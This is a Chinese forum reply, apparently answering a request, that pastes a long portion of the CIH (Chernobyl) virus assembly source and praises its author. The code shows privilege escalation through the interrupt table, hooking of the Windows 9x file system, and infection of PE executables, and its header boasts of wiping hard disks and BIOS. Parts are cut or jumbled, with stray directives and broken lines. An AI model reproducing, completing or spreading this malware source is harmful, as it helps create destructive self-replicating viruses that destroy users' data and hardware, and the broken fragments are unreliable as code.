七天网络登录注册:求CIH病毒原码

陈盈豪真是强悍！！！
代码也看了一下，看不懂...希望对你有用。
;-----------------------------------------------------------------
; CIH Virus
****************************************************************************
; * The Virus Program Information *
; ****************************************************************************
; * *
; * Designer : CIH Original Place : TTIT of Taiwan *
; * Create Date : 04/26/1998 Now Version : 1.2 *
; * Modification Time : 05/21/1998 *
; * *
; *==========================================================================*
; * Modification History *
; *==========================================================================*
; * v1.0 1. Create the Virus Program. *
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *
; * 04/26/1998 3. Virus Code doesn't Reload into System. *
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
; * 6. When System Opens Existing PE File, the File will be *
; * Infected, and the File doesn't be Reinfected. *
; * 7. It is also Infected, even the File is Read-Only. *
; * 8. When the File is Infected, the Modification Date and Time *
; * of the File also don't be Changed. *
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *
; * Previous FileSystemApiHook, it will Call the Function *
; * that the IFS Manager Would Normally Call to Implement *
; * this Particular I/O Request. *
; * 10. The Virus Size is only 656 Bytes. *
; *==========================================================================*
; * v1.1 1. Especially, the File that be Infected will not Increase *
; * it's Size... ^__^ *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *
; * When Exception Error Occurs, Our OS System should be in *
; * Windows NT. So My Cute Virus will not Continue to Run, *
; * it will Jmup to Original Application to Run. *
; * 3. Use Better Algorithm, Reduce Virus Code Size. *
; * 4. The Virus "Basic" Size is only 796 Bytes. *
; *==========================================================================*
; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... *
; * 2. Modify the Bug of v1.1 *
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *
; ****************************************************************************

.586P

; ****************************************************************************
; * Original PE Executable File(Don't Modify this Section) *
; ****************************************************************************

OriginalAppEXE SEGMENT

FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
; *********************************************************
HookExceptionNumber = 03h

ENDIF

FileNameBufferSize = 7fh

; *********************************************************
; *********************************************************

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************

MyVirusStart:
push ebp

; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point

lea esi, MyExceptionHook-@1[ecx]

push esi

mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

pop esi

; *************************************
; * Generate Exception to Get Ring0 *
; *************************************

int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $

; *************************************
; * Merge All Virus Code Section *
; *************************************

push esi
mov esi, eax

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb

sub eax, 08h

mov esi, [eax]

or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

jmp LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

pop esi

; *************************************
; * Generate Exception Again *
; *************************************

int HookExceptionNumber ; GenerateException Aga

; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************

ReadyRestoreSE:
sti

xor ebx, ebx

jmp RestoreSE

; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************

StopToRunVirusCode:
@1 = StopToRunVirusCode

xor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]

RestoreSE:
pop dword ptr fs:[ebx]
pop eax

; *************************************
; * Return Original App to Execute *
; *************************************

pop ebp

push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack

ret ; Return to Original App Entry Point

; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************

MyExceptionHook:
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook

; *************************************
; * Do My Virus Exist in System !? *
; *************************************

mov ecx, dr0
jecxz AllocateSystemMemoryPage

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOf
dException

; *************************************
; * Return to Ring3 Initial Program *
; *************************************

ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;

iretd

; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************

AllocateSystemMemoryPage:

mov dr0, ebx ; Set the Mark of My Virus Exis
in System

push 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04h

xchg edi, eax ; EDI = SystemMemory Start Addr
s

lea eax, MyVirusStart-@2[esi]

iretd ; Return to Ring3 Initial Program

; *************************************
; * Install My File System Api Hook *
; *************************************

InstallMyFileSystemApiHook:

lea eax, FileSystemApiHook-@6[edi]

push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flags

mov dr0, eax ; Save OldFileSystemApiHook Add
ss

pop eax ; EAX = FileSystemApiHook Address

; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx

; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax

cli

jmp ExitRing0Init

; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************

CodeSizeOfMergeVirusCodeSection = offset $

; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************

InstallFileSystemApiHook:
push ebx

call @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4 ;

push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax

; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

push eax

; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecx

mov dr0, eax ; Adjust OldFileSystemApiHook A
ress

pop eax

pop ebx

ret

; *********************************************************
; * Static Data *
; *********************************************************

OldInstallFileSystemApiHook dd ?

; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************

; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************

FileSystemApiHook:
@3 = FileSystemApiHook

pushad

call @5 ;
je CallUniToBCSPath

add al, 40h
mov ah, ':'

mov [esi], eax

inc esi
inc esi

; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************

CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax
push esi
int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
add esp, 04h*04h

; *************************************
; * Is FileName '.EXE' !? *
; *************************************

; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusy

IF DEBUG

; *************************************
; * Only for Debug *
; *************************************

; cmp [esi+eax-06h], 'f**k '
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusy

ENDIF

; *************************************
; * Is Open Existing File !? *
; *************************************

; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy

; *************************************
; * Get Attributes of the File *
; *************************************

mov ax, 4300h
int 20h ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
dd 00400032h

jc DisableOnBusy

push ecx

; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************

mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]

; *************************************
; * Is Read-Only File !? *
; *************************************

test cl, 01h
jz OpenFile

; *************************************
; * Modify Read-Only File to Write *
; *************************************

mov ax, 4301h
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Open File *
; *************************************

OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx
call edi ; VXDCall IFSMgr_Ring0_FileIO

xchg ebx, eax ; mov ebx, FileHandle

; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************

pop ecx

pushf

test cl, 01h
jz IsOpenFileOK

; *************************************
; * Restore Attributes of the File *
; *************************************

mov ax, 4301h
call edi ; VXDCall IFSMgr_Ring0_FileIO

; *************************************
; * Is Open File OK !? *
; *************************************

IsOpenFileOK:
popf

jc DisableOnBusy

; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************

push esi ; Push FileNameBuffer Address to Stack

pushf ; Now CF = 0, Push Flag to Stack

add esi, DataBuffer-@7 ; mov esi, offset DataBuffer

; ***************************
; * Get OffsetToNewHeader *
; ***************************

xor eax, eax
mov ah, 0d6h

; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eax

xor ecx, ecx
mov cl, 04h
xor edx, edx
mov dl, 3ch
call edi ; VXDCall IFSMgr_Ring0_FileIO

mov edx, [esi]

; ***************************
; * Get 'PE\0' Signature *
; * of ImageFileHeader, and *
; * Infected Mark. *
; ***************************

dec edx

mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Is PE !? *
; ***************************
; * Is the File *
; * Already Infected !? *
; ***************************

; cmp [esi], '\0PE\0'
cmp dword ptr [esi], 00455000h
jne CloseFile

; *************************************
; * The File is ^o^ *
; * PE(Portable Executable) indeed. *
; *************************************
; * The File isn't also Infected. *
; *************************************

; *************************************
; * Start to Infect the File *
; *************************************
; * Registers Use Status Now : *
; * *
; * EAX = 04h *
; * EBX = File Handle *
; * ECX = 04h *
; * EDX = 'PE\0\0' Signature of *
; * ImageFileHeader Pointer's *
; * Former Byte. *
; * ESI = DataBuffer Address ==> @8 *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump : *
; * *
; * ESP => ------------------------- *
; * | EFLAG(CF=0) | *
; * ------------------------- *
; * | FileNameBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | EAX | *
; * ------------------------- *
; * | Return Address | *
; * ------------------------- *
; *************************************

push ebx ; Save File Handle

push 00h ; Set VirusCodeSectionTableEndMark

; ***************************
; * Let's Set the *
; * Virus' Infected Mark *
; ***************************

push 01h ; Size
push edx ; Pointer of File
push edi ; Address of Buffer

; ***************************
; * Save ESP Register *
; ***************************

mov dr1, esp

; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************

push eax ; Size

; ***************************
; * Let's Read *
; * Image Header in File *
; ***************************

mov eax, ebp
mov cl, SizeOfImageHeaderToRead
add edx, 07h ; Move EDX to NumberOfSections
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; * Address of Buffer ) *
; ***************************

lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; Pointer of File

lea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; Address of Buffer

; ***************************
; * Move EDX to the Start *
; * of SectionTable in File *
; ***************************

movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h]

; ***************************
; * Let's Get *
; * Total Size of Sections *
; ***************************

mov al, SizeOfScetionTable

; I Assume NumberOfSections <= 0ffh
mov cl, (NumberOfSections-@8)[esi]
; * Address of Entry Point *
; ***************************

; Save My Virus First Section Code
; Size of Following Section Table...
; ( Not Include the Size of Virus Code Section Table )
push ecx

xchg ecx, eax ; ECX = Size of Section Table

mov eax, (AddressOfEntryPoint-@9)[esi]
add eax, (ImageBase-@9)[esi]
mov (OriginalAddressOfEntryPoint-@9)[esi], eax

; ***************************
; * Read All Section Tables *
; ***************************

mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO

; ***************************
; * Let's Set Total Virus *
; * Code Section Table *
; ***************************

; EBX = My Virus First Section Code
; Size of Following Section Table
pop ebx
pop edi ; EDI = TotalSizeOfVirusCodeSectionTabl
pop ecx ; ECX = NumberOfSections+1

push edi ; Size

add edx, eax
push edx ; Pointer of File

add eax, esi
push eax ; Address of Buffer

; ***************************
; * Set the First Virus *
; * Code Section Size in *
; * VirusCodeSectionTable *
; ***************************

lea eax, [eax+edi-04h]
mov [eax], ebx

; ************